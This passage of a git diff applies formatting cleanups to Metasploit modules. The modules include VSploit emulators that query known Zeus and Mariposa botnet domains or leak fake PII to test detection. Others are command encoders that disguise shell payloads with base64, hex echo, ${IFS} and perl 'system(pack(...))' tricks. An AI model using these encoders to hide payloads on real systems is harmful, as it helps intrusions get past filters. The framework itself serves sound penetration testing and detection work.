unlocked") - end - elsif res + unless res + print_error('The connection timed out while trying to unlock') + return + end + + unless res.code == 200 print_error("Unexpected response #{res.code}") + return + end + + if res.body.include?('Unlock') || res.body.include?('U7LCK') + print_good("The device #{phone_name} is already locked") + elsif res.body.include?('unlocked') || res.body.include?('QUIT') + print_good("The device #{phone_name} successfully unlocked") else - print_error('The connection timed out while trying to unlock') + print_error('Unexpected reply') end end - def run unless port_open? print_error('The web server is unreachable!') @@ -154,10 +168,10 @@ def run phone_name = datastore['PHONENAME'] case action.name - when 'LOCK' - lock(phone_name) - when 'UNLOCK' - unlock(phone_name) + when 'LOCK' + lock(phone_name) + when 'UNLOCK' + unlock(phone_name) end end end diff --git a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb index e49901ee1c68a..5b92fbce9a4af 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb @@ -7,38 +7,43 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'VSploit Mariposa DNS Query Module', - 'Description' => 'This module queries known Mariposa Botnet DNS records.', - 'Author' => 'MJC', - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.defintel.com/docs/Mariposa_Analysis.pdf'] - ] + 'Name' => 'VSploit Mariposa DNS Query Module', + 'Description' => 'This module queries known Mariposa Botnet DNS records.', + 'Author' => 'MJC', + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'http://www.defintel.com/docs/Mariposa_Analysis.pdf'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options( [ - OptString.new('DNS_SERVER',[false, "Specifies a DNS Server"]), - OptInt.new('COUNT', [false, "Number of intervals to loop",1]), - OptInt.new('DELAY', [false, "Delay in seconds between intervals",3]) - ]) + OptString.new('DNS_SERVER', [false, 'Specifies a DNS server']), + OptInt.new('COUNT', [false, 'Number of intervals to loop', 1]), + OptInt.new('DELAY', [false, 'Delay in seconds between intervals', 3]) + ] + ) end def run - @res = Net::DNS::Resolver.new() + @res = Net::DNS::Resolver.new domain = [ - "lalundelau.sinip.es","bf2back.sinip.es","thejacksonfive.mobi", - "thejacksonfive.us","thejacksonfive.biz","butterfly.BigMoney.biz", - "bfisback.sinip.es","bfisback.no-ip.org","qwertasdfg.sinip.es", - "shv4b.getmyip.com","shv4.no-ip.biz","butterfly.sinip.es", - "defintelsucks.sinip.es","defintelsucks.net","defintelsucks.com", - "gusanodeseda.sinip.es","gusanodeseda.net","legion.sinip.es", - "booster.estr.es","sexme.in","extraperlo.biz", - "legionarios.servecounterstrike.com","thesexydude.com", - "yougotissuez.com","gusanodeseda.mobi","tamiflux.org", - "tamiflux.net","binaryfeed.in","youare.sexidude.com", - "mierda.notengodominio.com", + 'lalundelau.sinip.es', 'bf2back.sinip.es', 'thejacksonfive.mobi', + 'thejacksonfive.us', 'thejacksonfive.biz', 'butterfly.BigMoney.biz', + 'bfisback.sinip.es', 'bfisback.no-ip.org', 'qwertasdfg.sinip.es', + 'shv4b.getmyip.com', 'shv4.no-ip.biz', 'butterfly.sinip.es', + 'defintelsucks.sinip.es', 'defintelsucks.net', 'defintelsucks.com', + 'gusanodeseda.sinip.es', 'gusanodeseda.net', 'legion.sinip.es', + 'booster.estr.es', 'sexme.in', 'extraperlo.biz', + 'legionarios.servecounterstrike.com', 'thesexydude.com', + 'yougotissuez.com', 'gusanodeseda.mobi', 'tamiflux.org', + 'tamiflux.net', 'binaryfeed.in', 'youare.sexidude.com', + 'mierda.notengodominio.com', ] if datastore['DNS_SERVER'] @@ -50,11 +55,11 @@ def run while count < datastore['COUNT'] domain.each do |name| - query = @res.query(name, "A") + query = @res.query(name, 'A') time = Time.new - time = time.strftime("%Y-%m-%d %H:%M:%S") + time = time.strftime('%Y-%m-%d %H:%M:%S') print_status("#{time} - DNS Query sent for => #{name}") - if query.answer.length == 0 + if query.answer.empty? print_error("#{time} - #{name} => No Record Found") else a = query.answer[0].to_s.split(/[\s,]+/) @@ -63,7 +68,7 @@ def run end unless count == (datastore['COUNT'] - 1) time = Time.new - time = time.strftime("%Y-%m-%d %H:%M:%S") + time = time.strftime('%Y-%m-%d %H:%M:%S') print_status("#{time} - Waiting #{datastore['DELAY']} seconds to query") select(nil, nil, nil, datastore['DELAY']) end diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb index 3df468e34a1e9..14b12a4515942 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb @@ -7,23 +7,29 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'VSploit DNS Beaconing Emulation', - 'Description' => 'This module takes a list and emulates malicious DNS beaconing.', - 'Author' => 'MJC', - 'License' => MSF_LICENSE + 'Name' => 'VSploit DNS Beaconing Emulation', + 'Description' => 'This module takes a list of domains and emulates malicious DNS beaconing.', + 'Author' => 'MJC', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options( - [ - OptString.new('DOMAINS', [ true, "Separate Domains by whitespace"]), - OptString.new('DNS_SERVER',[false, "Specifies a DNS Server"]), - OptInt.new('COUNT', [false, "Number of intervals to loop",2]), - OptInt.new('DELAY', [false, "Delay in seconds between intervals",3]) - ]) + [ + OptString.new('DOMAINS', [ true, 'Separate domains by whitespace']), + OptString.new('DNS_SERVER', [false, 'Specifies a DNS Server']), + OptInt.new('COUNT', [false, 'Number of intervals to loop', 2]), + OptInt.new('DELAY', [false, 'Delay in seconds between intervals', 3]) + ] + ) end def run - @res = Net::DNS::Resolver.new() - #@res.retry = 2 + @res = Net::DNS::Resolver.new + # @res.retry = 2 if datastore['DNS_SERVER'] @res.nameservers = datastore['DNS_SERVER'] @@ -35,11 +41,11 @@ def run domain = datastore['DOMAINS'].split(/[\s,]+/) domain.each do |name| - query = @res.query(name, "A") + query = @res.query(name, 'A') time = Time.new - time = time.strftime("%Y-%m-%d %H:%M:%S") + time = time.strftime('%Y-%m-%d %H:%M:%S') print_status("#{time} - DNS Query sent for => #{name}") - if query.answer.length == 0 + if query.answer.empty? print_error("#{time} - #{name} => No Record Found") else a = query.answer[0].to_s.split(/[\s,]+/) @@ -48,7 +54,7 @@ def run end unless count == (datastore['COUNT'] - 1) time = Time.new - time = time.strftime("%Y-%m-%d %H:%M:%S") + time = time.strftime('%Y-%m-%d %H:%M:%S') print_status("#{time} - Waiting #{datastore['DELAY']} seconds to beacon") select(nil, nil, nil, datastore['DELAY']) end diff --git a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb index aff31e9e1f3b1..62e3a0df89feb 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb @@ -7,43 +7,48 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'VSploit Zeus DNS Query Module', - 'Description' => 'This module queries known Zeus Botnet DNS records.', - 'Author' => 'MJC', - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'https://zeustracker.abuse.ch/blocklist.php?download=domainblocklist'] - ] + 'Name' => 'VSploit Zeus DNS Query Module', + 'Description' => 'This module queries known Zeus Botnet DNS records.', + 'Author' => 'MJC', + 'License' => MSF_LICENSE, + 'References' => [ + [ 'URL', 'https://zeustracker.abuse.ch/blocklist.php?download=domainblocklist'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options( [ - OptString.new('DNS_SERVER',[false, "Specifies a DNS Server"]), - OptInt.new('COUNT', [false, "Number of intervals to loop",1]), - OptInt.new('DELAY', [false, "Delay in seconds between intervals",3]) - ]) + OptString.new('DNS_SERVER', [false, 'Specifies a DNS server']), + OptInt.new('COUNT', [false, 'Number of intervals to loop', 1]), + OptInt.new('DELAY', [false, 'Delay in seconds between intervals', 3]) + ] + ) end def run - @res = Net::DNS::Resolver.new() + @res = Net::DNS::Resolver.new domain = [ - "allspring.net","antifoher.biz","asdfasdgqghgsw.cx.cc", - "ashnmjjpoljfnl.info","atlaz.net","b3l.org","back.boroborogold.ru", - "bandwithcheckstart.com","batmanrobinho.com","bellicbridge.ru", - "bestfihteerdr.com","bestprice2you.net","billyd.com.au", - "bitschoonerop.com","blackskullbg.sytes.net","botikov.eu.tf", - "botnetdown.gicp.net","boutique.vcm-mode.it","brandc.name", - "bxkkuskgdjskdn.com","c0re.su","cdvqvnjqqtkqhsoo.info", - "christmassuper.com","ciritas.ru","citi-spb.ru","clavn.ru", - "client.trackups.org","client.upsclients.net","cnewsus.ru", - "cnnus.ru","concapow.in","consoleencydd.com","cqoqgzqmkpkrmlo.com", - "ctllutheran.org","currencytradechat.com","cyytmmlxsthywst.com", - "damaka.com","datacricketuf.ru","deimingames.com", - "dfhhdkdddqjda.start.tl","djerk.info","djpeterblue.com.br", - "dlmsonisfzksioqq.org","domio.pwomega.ru","favdstgssdqdsfg.start.tl", - "favoritopilodjd.com","favqnornkwvkwfxv.biz","fdhjkfhskas.com", - "federalreserve-report.com","federetoktyt.net" + 'allspring.net', 'antifoher.biz', 'asdfasdgqghgsw.cx.cc', + 'ashnmjjpoljfnl.info', 'atlaz.net', 'b3l.org', 'back.boroborogold.ru', + 'bandwithcheckstart.com', 'batmanrobinho.com', 'bellicbridge.ru', + 'bestfihteerdr.com', 'bestprice2you.net', 'billyd.com.au', + 'bitschoonerop.com', 'blackskullbg.sytes.net', 'botikov.eu.tf', + 'botnetdown.gicp.net', 'boutique.vcm-mode.it', 'brandc.name', + 'bxkkuskgdjskdn.com', 'c0re.su', 'cdvqvnjqqtkqhsoo.info', + 'christmassuper.com', 'ciritas.ru', 'citi-spb.ru', 'clavn.ru', + 'client.trackups.org', 'client.upsclients.net', 'cnewsus.ru', + 'cnnus.ru', 'concapow.in', 'consoleencydd.com', 'cqoqgzqmkpkrmlo.com', + 'ctllutheran.org', 'currencytradechat.com', 'cyytmmlxsthywst.com', + 'damaka.com', 'datacricketuf.ru', 'deimingames.com', + 'dfhhdkdddqjda.start.tl', 'djerk.info', 'djpeterblue.com.br', + 'dlmsonisfzksioqq.org', 'domio.pwomega.ru', 'favdstgssdqdsfg.start.tl', + 'favoritopilodjd.com', 'favqnornkwvkwfxv.biz', 'fdhjkfhskas.com', + 'federalreserve-report.com', 'federetoktyt.net' ] if datastore['DNS_SERVER'] @@ -55,11 +60,11 @@ def run while count < datastore['COUNT'] domain.each do |name| - query = @res.query(name, "A") + query = @res.query(name, 'A') time = Time.new - time = time.strftime("%Y-%m-%d %H:%M:%S") + time = time.strftime('%Y-%m-%d %H:%M:%S') print_status("#{time} - DNS Query sent for => #{name}") - if query.answer.length == 0 + if query.answer.empty? print_error("#{time} - #{name} => No Record Found") else a = query.answer[0].to_s.split(/[\s,]+/) @@ -68,7 +73,7 @@ def run end unless count == (datastore['COUNT'] - 1) time = Time.new - time = time.strftime("%Y-%m-%d %H:%M:%S") + time = time.strftime('%Y-%m-%d %H:%M:%S') print_status("#{time} - Waiting #{datastore['DELAY']} seconds to query") select(nil, nil, nil, datastore['DELAY']) end diff --git a/modules/auxiliary/vsploit/pii/email_pii.rb b/modules/auxiliary/vsploit/pii/email_pii.rb index e46d2ea188c3a..10a928a53c5f7 100644 --- a/modules/auxiliary/vsploit/pii/email_pii.rb +++ b/modules/auxiliary/vsploit/pii/email_pii.rb @@ -12,24 +12,32 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PII def initialize(info = {}) - super(update_info(info, - 'Name' => 'VSploit Email PII', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'VSploit Email PII', + 'Description' => %q{ This auxiliary reads from a file and sends data which - should be flagged via an internal or external SMTP server. - }, - 'License' => MSF_LICENSE, - 'Author' => ['willis'] - )) - register_options( - [ - OptString.new('RHOST', [true, "SMTP server address",'127.0.0.1']), - OptPort.new('RPORT', [true, "SMTP server port", 25]) - ]) + should be flagged via an internal or external SMTP server. + }, + 'License' => MSF_LICENSE, + 'Author' => ['willis'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options( + [ + OptString.new('RHOST', [true, 'SMTP server address', '127.0.0.1']), + OptPort.new('RPORT', [true, 'SMTP server port', 25]) + ] + ) end def run - msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['SUBJECT'] @@ -38,9 +46,9 @@ def run data = create_pii - msg.add_part(data, "text/plain") + msg.add_part(data, 'text/plain') msg.add_part_attachment(data, rand_text_english(10)) - resp = send_message(msg.to_s) + send_message(msg.to_s) end end diff --git a/modules/auxiliary/vsploit/pii/web_pii.rb b/modules/auxiliary/vsploit/pii/web_pii.rb index 1a515648fc2a7..d640ca994b016 100644 --- a/modules/auxiliary/vsploit/pii/web_pii.rb +++ b/modules/auxiliary/vsploit/pii/web_pii.rb @@ -12,48 +12,55 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::PII def initialize(info = {}) - super(update_info(info, - 'Name' => 'VSploit Web PII', - 'Description' => 'This module emulates a webserver leaking PII data', - 'License' => MSF_LICENSE, - 'Author' => 'MJC', - 'References' => - [ - [ 'URL', 'https://www.rapid7.com/blog/post/2011/06/02/vsploit--virtualizing-exploitation-attributes-with-metasploit-framework'] - ], - 'DefaultOptions' => { 'HTTP::server_name' => 'IIS'} - )) + super( + update_info( + info, + 'Name' => 'VSploit Web PII', + 'Description' => 'This module emulates a webserver leaking PII data', + 'License' => MSF_LICENSE, + 'Author' => 'MJC', + 'References' => [ + [ 'URL', 'https://www.rapid7.com/blog/post/2011/06/02/vsploit--virtualizing-exploitation-attributes-with-metasploit-framework'] + ], + 'DefaultOptions' => { 'HTTP::server_name' => 'IIS' }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) register_options( - [ - OptBool.new('META_REFRESH', [ false, "Set page to auto refresh.", false]), - OptInt.new('REFRESH_TIME', [ false, "Set page refresh interval.", 15]), - OptInt.new('ENTRIES', [ false, "PII Entry Count", 1000]) - ]) + [ + OptBool.new('META_REFRESH', [ false, 'Set page to auto refresh.', false]), + OptInt.new('REFRESH_TIME', [ false, 'Set page refresh interval.', 15]), + OptInt.new('ENTRIES', [ false, 'PII Entry Count', 1000]) + ] + ) end - def create_page # Webpage Title - title = "vSploit PII Webserver" - sheep = <<-EOS - __________ -< baaaaah! > - --------- - \\ - \\ - ,@;@, - ;@;@( \\@;@;@;@;@;@, - /x @\\_|@;@;@;@;@;@;, - / )@:@;@;@;@;@;@;@|) - *---;@;@;@;@;@;@;@;@; - ';@;\;@;\;@;@ - || | \\ ( - || | // / - // ( // / - ~~~~~ ~~~~ + title = 'vSploit PII Webserver' + sheep = <<~EOS + __________ + < baaaaah! > + --------- + \\ + \\ + ,@;@, + ;@;@( \\@;@;@;@;@;@, + /x @\\_|@;@;@;@;@;@;, + / )@:@;@;@;@;@;@;@|) + *---;@;@;@;@;@;@;@;@; + ';@;\;@;\;@;@ + || | \\ ( + || | // / + // ( // / + ~~~~~ ~~~~ -EOS - page = "" + EOS + page = '' page << "\n\n" if datastore['META_REFRESH'] @@ -71,21 +78,21 @@ def create_page end # Start creating PII data - pii = create_pii() + pii = create_pii page << "\n" page << pii page << "\n\n" page end - def on_request_uri(cli,request) + def on_request_uri(cli, _request) # Transmit the response to the client - res = create_page() - print_status("Leaking PII...") + res = create_page + print_status('Leaking PII...') send_response(cli, res, { 'Content-Type' => 'text/html' }) end def run - exploit() + exploit end end diff --git a/modules/encoders/cmd/base64.rb b/modules/encoders/cmd/base64.rb index 3af070d28e337..f4f771a1945ae 100644 --- a/modules/encoders/cmd/base64.rb +++ b/modules/encoders/cmd/base64.rb @@ -26,13 +26,15 @@ def initialize register_advanced_options( [ OptString.new('Base64Decoder', [ false, 'The binary to use for base64 decoding', '', %w[base64 base64-long base64-short openssl] ]) - ], - self.class + ] ) end # # Encodes the payload + # All unnecessary spaces from your payload inside the () are removed to avoid shell POSIX command lauguage conflicts + # The only things allowed after compound commands are redirections, shell keywords, and the various command separators + # such as (;, &, |, &&, ||) # def encode_block(state, buf) return buf if (buf.bytes & state.badchars.bytes).empty? @@ -48,7 +50,7 @@ def encode_block(state, buf) when 'base64' raise EncodingError if (state.badchars.bytes & '(|)'.bytes).any? - base64_decoder = '(base64 --decode || base64 -d)' + base64_decoder = '(base64 --decode||base64 -d)' when 'base64-long' base64_decoder = 'base64 --decode' when 'base64-short' @@ -58,9 +60,9 @@ def encode_block(state, buf) else # find a decoder at runtime if we can use the necessary characters if (state.badchars.bytes & '(|)>/&'.bytes).empty? - base64_decoder = '((command -v base64 >/dev/null && (base64 --decode || base64 -d)) || (command -v openssl >/dev/null && openssl enc -base64 -d))' + base64_decoder = '((command -v base64>/dev/null&&(base64 --decode||base64 -d))||(command -v openssl>/dev/null&&openssl enc -base64 -d))' elsif (state.badchars.bytes & '(|)'.bytes).empty? - base64_decoder = '(base64 --decode || base64 -d)' + base64_decoder = '(base64 --decode||base64 -d)' else base64_decoder = 'openssl enc -base64 -d' end diff --git a/modules/encoders/cmd/brace.rb b/modules/encoders/cmd/brace.rb index 5fba09cd41dcb..6e58c957977f8 100644 --- a/modules/encoders/cmd/brace.rb +++ b/modules/encoders/cmd/brace.rb @@ -10,14 +10,14 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Bash Brace Expansion Command Encoder', + 'Name' => 'Bash Brace Expansion Command Encoder', 'Description' => %q{ This encoder uses brace expansion in Bash and other shells to avoid whitespace without being overly fancy. }, - 'Author' => ['wvu', 'egypt'], - 'Platform' => %w[ linux unix ], - 'Arch' => ARCH_CMD, + 'Author' => ['wvu', 'egypt'], + 'Platform' => %w[linux unix], + 'Arch' => ARCH_CMD, 'EncoderType' => Msf::Encoder::Type::CmdPosixBrace ) end diff --git a/modules/encoders/cmd/echo.rb b/modules/encoders/cmd/echo.rb index 1026505a38209..2bdb5960ac5a3 100644 --- a/modules/encoders/cmd/echo.rb +++ b/modules/encoders/cmd/echo.rb @@ -8,61 +8,50 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Echo Command Encoder', - 'Description' => %q{ + 'Name' => 'Echo Command Encoder', + 'Description' => %q{ This encoder uses echo and backlash escapes to avoid commonly restricted characters. }, - 'Author' => 'hdm', - 'Arch' => ARCH_CMD, - 'Platform' => %w[ linux unix ], - 'EncoderType' => Msf::Encoder::Type::CmdPosixEcho) + 'Author' => 'hdm', + 'Arch' => ARCH_CMD, + 'Platform' => %w[linux unix], + 'EncoderType' => Msf::Encoder::Type::CmdPosixEcho) end - # # Encodes the payload # def encode_block(state, buf) # Skip encoding for empty badchars - if state.badchars.length == 0 - return buf - end + return buf if state.badchars.empty? - if state.badchars.include?("-") - raise EncodingError - else - # Without an escape character we can't escape anything, so echo - # won't work. - if state.badchars.include?("\\") - raise EncodingError - else - buf = encode_block_bash_echo(state,buf) - end - end + raise EncodingError if state.badchars.include?('-') - return buf + # echo won't work without an escape character + raise EncodingError if state.badchars.include?('\\') + + encode_block_bash_echo(state, buf) end # # Uses bash's echo -ne command to hex encode the command string # def encode_block_bash_echo(state, buf) - hex = '' # Can we use single quotes to enclose the echo arguments? if state.badchars.include?("'") - hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join + hex = buf.unpack('C*').collect { |c| '\\\\\\x%.2x' % c }.join else - hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'" + hex = "'" + buf.unpack('C*').collect { |c| '\\x%.2x' % c }.join + "'" end # Are pipe characters restricted? - if state.badchars.include?("|") + if state.badchars.include?('|') # How about backticks? - if state.badchars.include?("`") + if state.badchars.include?('`') # Last ditch effort, dollar paren - if state.badchars.include?("$") or state.badchars.include?("(") + if state.badchars.include?('$') || state.badchars.include?('(') raise EncodingError else buf = "$(/bin/echo -ne #{hex})" @@ -75,7 +64,7 @@ def encode_block_bash_echo(state, buf) end # Remove spaces from the command string - if state.badchars.include?(" ") + if state.badchars.include?(' ') buf.gsub!(/\s/, '${IFS}') end diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb index edd37f111be47..b98058e6595ca 100644 --- a/modules/encoders/cmd/generic_sh.rb +++ b/modules/encoders/cmd/generic_sh.rb @@ -10,42 +10,38 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Generic Shell Variable Substitution Command Encoder', - 'Description' => %q{ + 'Name' => 'Generic Shell Variable Substitution Command Encoder', + 'Description' => %q{ This encoder uses standard Bourne shell variable substitution tricks to avoid commonly restricted characters. }, - 'Author' => 'hdm', - 'Arch' => ARCH_CMD, - 'Platform' => 'unix') + 'Author' => 'hdm', + 'Arch' => ARCH_CMD, + 'Platform' => 'unix') end - # # Encodes the payload # def encode_block(state, buf) - # Skip encoding for empty badchars - if(state.badchars.length == 0) + if state.badchars.empty? return buf end - if (state.badchars.include?("-")) + if state.badchars.include?('-') # Then neither of the others will work. Get rid of spaces and hope # for the best. This obviously won't work if the command already # has other badchars in it, in which case we're basically screwed. - if (state.badchars.include?(" ")) + if state.badchars.include?(' ') buf.gsub!(/\s/, '${IFS}') end - else + elsif state.badchars.include?('\\') # Without an escape character we can't escape anything, so echo # won't work. Try perl. - if (state.badchars.include?("\\")) - buf = encode_block_perl(state,buf) - else - buf = encode_block_bash_echo(state,buf) - end + buf = encode_block_perl(state, buf) + else + buf = encode_block_bash_echo(state, buf) end return buf @@ -55,8 +51,7 @@ def encode_block(state, buf) # Uses the perl command to hex encode the command string # def encode_block_perl(state, buf) - - hex = buf.unpack("H*") + hex = buf.unpack('H*') cmd = 'perl -e ' qot = ',-:.=+!@#$%^&' @@ -64,19 +59,19 @@ def encode_block_perl(state, buf) state.badchars.unpack('C*') { |c| qot.delete(c.chr) } # Throw an error if we ran out of quotes - raise EncodingError if qot.length == 0 + raise EncodingError if qot.empty? sep = qot[0].chr # Convert spaces to IFS... - if (state.badchars.include?(" ")) + if state.badchars.include?(' ') cmd.gsub!(/\s/, '${IFS}') end # Can we use single quotes to enclose the command string? - if (state.badchars.include?("'")) + if state.badchars.include?("'") - if (state.badchars.match(/\(|\)/)) + if state.badchars.match(/\(|\)/) # No parenthesis... raise EncodingError @@ -84,17 +79,15 @@ def encode_block_perl(state, buf) cmd << "system\\(pack\\(qq#{sep}H\\*#{sep},qq#{sep}#{hex}#{sep}\\)\\)" - else - if (state.badchars.match(/\(|\)/)) - if (state.badchars.include?(" ")) - # No spaces allowed, no parenthesis, give up... - raise EncodingError - end - - cmd << "'system pack qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}'" - else - cmd << "'system(pack(qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}))'" + elsif state.badchars.match(/\(|\)/) + if state.badchars.include?(' ') + # No spaces allowed, no parenthesis, give up... + raise EncodingError end + + cmd << "'system pack qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}'" + else + cmd << "'system(pack(qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}))'" end return cmd @@ -104,22 +97,21 @@ def encode_block_perl(state, buf) # Uses bash's echo -ne command to hex encode the command string # def encode_block_bash_echo(state, buf) - hex = '' # Can we use single quotes to enclose the echo arguments? - if (state.badchars.include?("'")) - hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join + if state.badchars.include?("'") + hex = buf.unpack('C*').collect { |c| '\\\\\\x%.2x' % c }.join else - hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'" + hex = "'" + buf.unpack('C*').collect { |c| '\\x%.2x' % c }.join + "'" end # Are pipe characters restricted? - if (state.badchars.include?("|")) + if state.badchars.include?('|') # How about backticks? - if (state.badchars.include?("`")) + if state.badchars.include?('`') # Last ditch effort, dollar paren - if (state.badchars.include?("$") or state.badchars.include?("(")) + if state.badchars.include?('$') || state.badchars.include?('(') raise EncodingError else buf = "$(/bin/echo -ne #{hex})" @@ -132,7 +124,7 @@ def encode_block_bash_echo(state, buf) end # Remove spaces from the command string - if (state.badchars.include?(" ")) + if state.badchars.include?(' ') buf.gsub!(/\s/, '${IFS}') end diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb index b1a1d8fa69125..011fe88aa2152 100644 --- a/modules/encoders/cmd/ifs.rb +++ b/modules/encoders/cmd/ifs.rb @@ -10,14 +10,14 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Bourne ${IFS} Substitution Command Encoder', + 'Name' => 'Bourne ${IFS} Substitution Command Encoder', 'Description' => %q{ This encoder uses Bourne ${IFS} substitution to avoid whitespace without being overly fancy. }, - 'Author' => ['egypt', 'wvu'], - 'Platform' => %w[ linux unix ], - 'Arch' => ARCH_CMD, + 'Author' => ['egypt', 'wvu'], + 'Platform' => %w[linux unix], + 'Arch' => ARCH_CMD, 'EncoderType' => Msf::Encoder::Type::CmdPosixIFS ) end diff --git a/modules/encoders/cmd/perl.rb b/modules/encoders/cmd/perl.rb index 730256df6486f..236692a56a93e 100644 --- a/modules/encoders/cmd/perl.rb +++ b/modules/encoders/cmd/perl.rb @@ -8,31 +8,29 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Perl Command Encoder', - 'Description' => %q{ + 'Name' => 'Perl Command Encoder', + 'Description' => %q{ This encoder uses perl to avoid commonly restricted characters. }, - 'Author' => 'hdm', - 'Arch' => ARCH_CMD, - 'Platform' => %w[ linux unix ], - 'EncoderType' => Msf::Encoder::Type::CmdPosixPerl) + 'Author' => 'hdm', + 'Arch' => ARCH_CMD, + 'Platform' => %w[linux unix], + 'EncoderType' => Msf::Encoder::Type::CmdPosixPerl) end - # # Encodes the payload # def encode_block(state, buf) - # Skip encoding for empty badchars - if state.badchars.length == 0 + if state.badchars.empty? return buf end - if state.badchars.include?("-") + if state.badchars.include?('-') raise EncodingError else - buf = encode_block_perl(state,buf) + buf = encode_block_perl(state, buf) end return buf @@ -42,39 +40,37 @@ def encode_block(state, buf) # Uses the perl command to hex encode the command string # def encode_block_perl(state, buf) - - hex = buf.unpack("H*").join + hex = buf.unpack('H*').join cmd = 'perl -e ' qot = ',-:.=+!@#$%^&' # Convert spaces to IFS... - if state.badchars.include?(" ") + if state.badchars.include?(' ') if state.badchars.match(/[${IFS}]/n) raise EncodingError end + cmd.gsub!(/\s/, '${IFS}') end # Can we use single quotes to enclose the command string? if state.badchars.include?("'") - if (state.badchars.match(/[()\\]/)) + if state.badchars.match(/[()\\]/) cmd << perl_e(state, qot, hex) else # Without quotes, we can use backslash to escape parens so the # shell doesn't try to interpreter them. cmd << "system\\(pack\\(#{perl_qq(state, qot, hex)}\\)\\)" end - else + elsif state.badchars.match(/[()]/n) # Quotes are ok, but we still need parens or spaces - if (state.badchars.match(/[()]/n)) - if state.badchars.include?(" ") - cmd << perl_e(state, qot, hex) - else - cmd << "'system pack #{perl_qq(state, qot, hex)}'" - end + if state.badchars.include?(' ') + cmd << perl_e(state, qot, hex) else - cmd << "'system(pack(#{perl_qq(state, qot, hex)}))'" + cmd << "'system pack #{perl_qq(state, qot, hex)}'" end + else + cmd << "'system(pack(#{perl_qq(state, qot, hex)}))'" end return cmd @@ -85,8 +81,8 @@ def perl_e(state, qot, hex) # barewords on the commandline for the argument to the pack # function. As a consequence, we can't use things that the shell # would interpret, so $ and & become badchars. - qot.delete("$") - qot.delete("&") + qot.delete('$') + qot.delete('&') # Perl chains -e with newlines, but doesn't automatically add # semicolons, so the following will result in the interpreter @@ -98,22 +94,21 @@ def perl_e(state, qot, hex) # $_ when no args are given like many other perl functions), # this works out to do what we need. cmd = "system -e pack -e #{perl_qq(state, qot, hex)}" - if state.badchars.include?(" ") + if state.badchars.include?(' ') # We already tested above to make sure that these chars are ok # if space isn't. - cmd.gsub!(" ", "${IFS}") + cmd.gsub!(' ', '${IFS}') end cmd end def perl_qq(state, qot, hex) - # Find a quoting character to use state.badchars.unpack('C*') { |c| qot.delete(c.chr) } # Throw an error if we ran out of quotes - raise EncodingError if qot.length == 0 + raise EncodingError if qot.empty? sep = qot[0].chr # Use an explicit length for the H specifier instead of just "H*" diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb index 723a0d4332c88..320785fcd1684 100644 --- a/modules/encoders/cmd/powershell_base64.rb +++ b/modules/encoders/cmd/powershell_base64.rb @@ -2,28 +2,29 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -include Msf::Post::Windows + class MetasploitModule < Msf::Encoder Rank = ExcellentRanking + include Msf::Post::Windows + def initialize super( - 'Name' => 'Powershell Base64 Command Encoder', - 'Description' => %q{ + 'Name' => 'Powershell Base64 Command Encoder', + 'Description' => %q{ This encodes the command as a base64 encoded command for powershell. }, - 'Author' => 'Ben Campbell', - 'Arch' => ARCH_CMD, - 'Platform' => 'win') + 'Author' => 'Ben Campbell', + 'Arch' => ARCH_CMD, + 'Platform' => 'win') end - # # Encodes the payload # def encode_block(state, buf) # Skip encoding for empty badchars - if state.badchars.length == 0 + if state.badchars.empty? return buf end @@ -34,10 +35,10 @@ def encode_block(state, buf) cmd = encode_buf(buf) if state.badchars.include? '=' - while 